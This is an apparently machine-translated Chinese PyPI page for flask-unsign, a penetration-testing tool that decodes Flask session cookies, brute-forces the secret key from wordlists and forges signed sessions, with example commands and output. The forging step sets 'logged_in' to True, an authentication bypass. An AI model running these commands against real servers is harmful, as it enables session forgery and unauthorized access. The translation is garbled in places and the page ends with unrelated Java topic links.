Flask unsign是一个渗透测试实用程序,它试图通过一个签名会话,对照常用和公开的密钥(来自Books、Github、StackOverflow和各种其他来源)的单词列表来验证Flask服务器的密钥,从而揭开它的密钥。

flask-unsign的Python项目详细描述


烧瓶无符号

Build StatusPyPI versioncodecov

命令行工具,通过猜测密钥来获取、解码、强制执行和制作烧瓶应用程序的会话cookie。 对于独立的wordlist组件,请访问flask-unsign-wordlist存储库。

要求

  • python 3.6

安装

要安装应用程序,只需使用pip:

$ pip3 install flask-unsign[wordlist]

如果您只想安装核心代码,请省略[wordlist]后缀:

$ pip3 install flask-unsign

要出于开发目的安装该工具,请运行以下命令(下载副本后):

$ pip3 install -e .[test]

用法

要获得所有可能选项的概述,只需调用flask unsign without 任何这样的参数:

$ flask-unsign

获取解码会话cookies

由于flask cookies是签名的未加密的,因此 可以对会话数据进行本地解码。为此,可以使用--decode 争论。

会话cookies可以通过使用代理检查您的http请求来获得 像burp代理一样,使用浏览器的网络检查器或浏览器 查看/更改cookies的扩展。默认情况下,flask使用会话名称 "session"

$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

您还可以通过 传递--server参数,而不是--cookie参数。do注释 但是,并不是所有网页都可能返回会话,因此请确保传递 是的网址。

$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

未签名(强制使用密钥)

在获得一个示例会话cookie之后,您将能够尝试使用暴力 服务器的密钥。如果你幸运的话,这可能会被设置成 猜猜看,或者是在网上找到的,可能在你的一个词表里。为了 这样,就可以使用--unsign参数。

$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

签名(会话操作)

一旦你获得了服务器的密钥,你就可以自己设计 自定义会话数据。为此,可以使用--sign参数。

$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

故障排除

  • 安装程序会导致错误
    • 您可能使用了错误的pip二进制文件,请尝试使用 以下命令:python3.6 -m pip install flask-unsign
  • 我找到了一个密钥,但我精心编制的会话不起作用!
    • 可能您的目标服务器使用的是 itsdangerous。由于 an issue带定时 会话,时间戳生成算法已更改。 要生成旧签名,请尝试使用--legacy选项。
  • my wordlist不工作
    • 单词列表应以换行分隔 python strings (意味着您需要将它们封装在引号中),因此 二进制字符串可以很容易地以换行格式存储。如果你不想 这样,您可以通过传递--no-literal-eval来禁用此功能。 争论。

工作原理

如果你想知道这到底是怎么回事,请参考我的 blog post 这将非常详细地解释这一点,包括如何保护您自己的服务器免受此攻击的指南。

许可证

麻省理工学院许可证

著作权(C)2019 Luke Paris(悖论)

兹免费准许任何人取得副本 本软件和相关文档文件(“软件”)的 在软件中不受限制,包括但不限于 使用、复制、修改、合并、发布、分发、再授权和/或出售 软件的副本,并允许软件的用户 在满足以下条件的情况下,可以这样做:

上述版权公告及本许可公告须包括在 软件的拷贝或大部分。

本软件按“原样”提供,无任何形式的保证,明示或 默示的,包括但不限于适销性保证, 为某一特定目的而健身。在任何情况下 作者或版权所有者应对任何索赔、损害或其他 责任,无论是在合同诉讼、侵权诉讼或其他诉讼中, 不属于或与本软件有关,或使用或与本软件的其他交易有关。 软件。

欢迎加入QQ群-->: 979659372 Python中文网_新手群

推荐PyPI第三方库


热门话题
算法如何选择合适的java数据结构来建模1n关系映射?   java有办法发现ReST API的所有端点吗?   java JFileChooser和Jbutton错误   在java中解析起始相同但结尾不同的字符串   java读取具有多行的文件并将其输出到JLabel   日期在java中将时间戳转换为特定格式(年、月、周、天、时间、小时、分钟和秒)   java Jsoup getElementsByClass返回空值   java无法生成一个范围内的所有Kaprekar数   java Spring社交Facebook:“OAuth2'state'参数不匹配”   java如何在JTextField中移动光标位置   scala AWSJAVASDK:解压缩大小必须小于262144000字节   java如何使用多个cron设置时间表,以便在spring boot中执行一项任务   java从句子中提取动词   java如何动态添加布局及其子级